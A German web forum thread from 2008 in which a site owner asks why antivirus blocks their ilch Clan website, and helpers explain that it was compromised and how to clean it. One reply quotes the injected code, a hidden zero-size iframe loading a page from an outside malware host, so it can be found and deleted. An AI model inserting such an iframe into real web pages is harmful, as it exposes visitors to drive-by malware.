hallo,
hab da mal ein problem..
wenn ich auf die seite gehe und mein antivir an habe komm ich nicht drauf... es wird ein virus angezeigt... ich weiß´nicht wieso.
könnte da vllt. einer mir behilflich sein ???
externer Link
Gruß
TD
verwendete ilchClan Version: 1.1
betroffene Homepage: externer Link
Beitrag zur Merkliste hinzufügen
Hier kann eine Notiz zum Merk-Eintrag hinzugefügt werden (optional)
ilch Forum » Ilch Clan 1.1 » Allgemein » Virus Anzeige
| Geschlossen | ||
-
Do. 09.10.2008
00:51 Uhr
#1
- Registriert seit
- 15.08.2006
- Beiträge
- 383
- Beitragswertungen
-
Do. 09.10.2008
07:21 Uhr
#2
- Registriert seit
- 26.08.2006
- Beiträge
- 2.122
- Beitragswertungen
Hey, türkisch-dream!
Tja, da hat dir wohl jemand ein Ei ins Nest gelegt und über die Suche hättest du das auch gefunden.
Schau mal deine Dateien nach dem Code durch (index.php)
<iframe src="http://ww.viph.net/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
und löscht ihn. Änder deine FTP und MySQl Passwörter, benutz verschiedene, Grundverschiedene und benutze die aktuelle Script Version.
Mit böhsen Grüßen
BöhserDavid-Heute schon böhse gewesen?- Ab zur Community
-No Support via Contact- -
Do. 09.10.2008
22:35 Uhr
#3
- Registriert seit
- 21.01.2006
- Beiträge
- 2.659
- Beitragswertungen
Das Problem liegt nicht am Script sondern an einer Sicherheitslücke auf dem Server (keine Ahnung, ich gehe von Apache aus...)
Hatte das auch schon, hab dann einfach jegliche Schreibrechte für die index.php weggenommen hat auch lange gehalten bis der Code in anderen Dateien aufgetaucht ist. Dann hab ich nen anderen Server genommen.
Zitat geschrieben von loW -
Do. 09.10.2008
23:11 Uhr
#4
- Registriert seit
- 15.08.2006
- Beiträge
- 383
- Beitragswertungen
hmmm danke an beide aber was soll ich jetzt genau machen ??
ps: hab die neueste version drauf -
Fr. 10.10.2008
06:41 Uhr
#5
- Registriert seit
- 26.08.2006
- Beiträge
- 2.122
- Beitragswertungen
Schreiben wir undeutlich?
1. FTP und MYSQL PW ändern, verschiedene benutzen, Sicher sind Passwörter mit mindestens 15 Zeichen, Sonderzeichen, Groß-/Kleinbuchstaben, Zahlen
2. Falschen Code aus den Dateien löschen.
3. Schreibrechte für index.php ändern (entziehen)
4. Abwarten, wenn der Code nochmal kommt, entweder Provider anschreiben oder wechseln.-Heute schon böhse gewesen?- Ab zur Community
-No Support via Contact- -
Sa. 11.10.2008
01:17 Uhr
#6
- Registriert seit
- 15.08.2006
- Beiträge
- 383
- Beitragswertungen
danke... hab es so gemacht wie du es geschrieben hast..
aber nachdem ich es wieder hochgeladen habe.. kam es wieder dahin...
ich glaub ich lösche alles und mach dann alles von vorne drauf... -
Sa. 11.10.2008
04:01 Uhr
#7
- Registriert seit
- 15.08.2006
- Beiträge
- 383
- Beitragswertungen
ich bekomme dort nichts weg ich kann die dateien nicht löschen...
Fehler: Konnte Verzeichnis /html/include nicht löschen.
Zuletzt modifiziert von turkish-dream am 11.10.2008 - 04:04:55 -
Sa. 11.10.2008
11:33 Uhr
#8
- Registriert seit
- 26.08.2006
- Beiträge
- 2.122
- Beitragswertungen
CHMOD überprüfen?
Setzt mal den CHMOD des Ordners include auf 777.
Geht das auch nicht.
Dem Hoster melden. Aber sofort. Weil dann haben die eine Sicherheitslücke.-Heute schon böhse gewesen?- Ab zur Community
-No Support via Contact- -
Sa. 11.10.2008
12:47 Uhr
#9
- Registriert seit
- 21.01.2006
- Beiträge
- 2.659
- Beitragswertungen
Eventuell ist auch einfach ne .htaccess drinne und du lässt dir die versteckten Dateien nicht anzeigen.Zitat geschrieben von loW -
Di. 27.01.2009
20:47 Uhr
#10
- Registriert seit
- 15.08.2006
- Beiträge
- 383
- Beitragswertungen
ich komme damit nicht klar kann mir da jemand helfen und mal rein gucken...
per pn schick ich dann die zugangsdaten...
ein dankeschön schon mal im vorraus
================================
edit:
danke dir
Zuletzt modifiziert von turkish-dream am 27.01.2009 - 23:03:02 -
Di. 27.01.2009
21:04 Uhr
#11
- Registriert seit
- 01.06.2008
- Beiträge
- 141
- Beitragswertungen
Klar...würd ich mal machen;)
| Geschlossen | ||
 |
Zurück zu Allgemein | |
Optionen: Bei einer Antwort zu diesem Thema eine eMail erhalten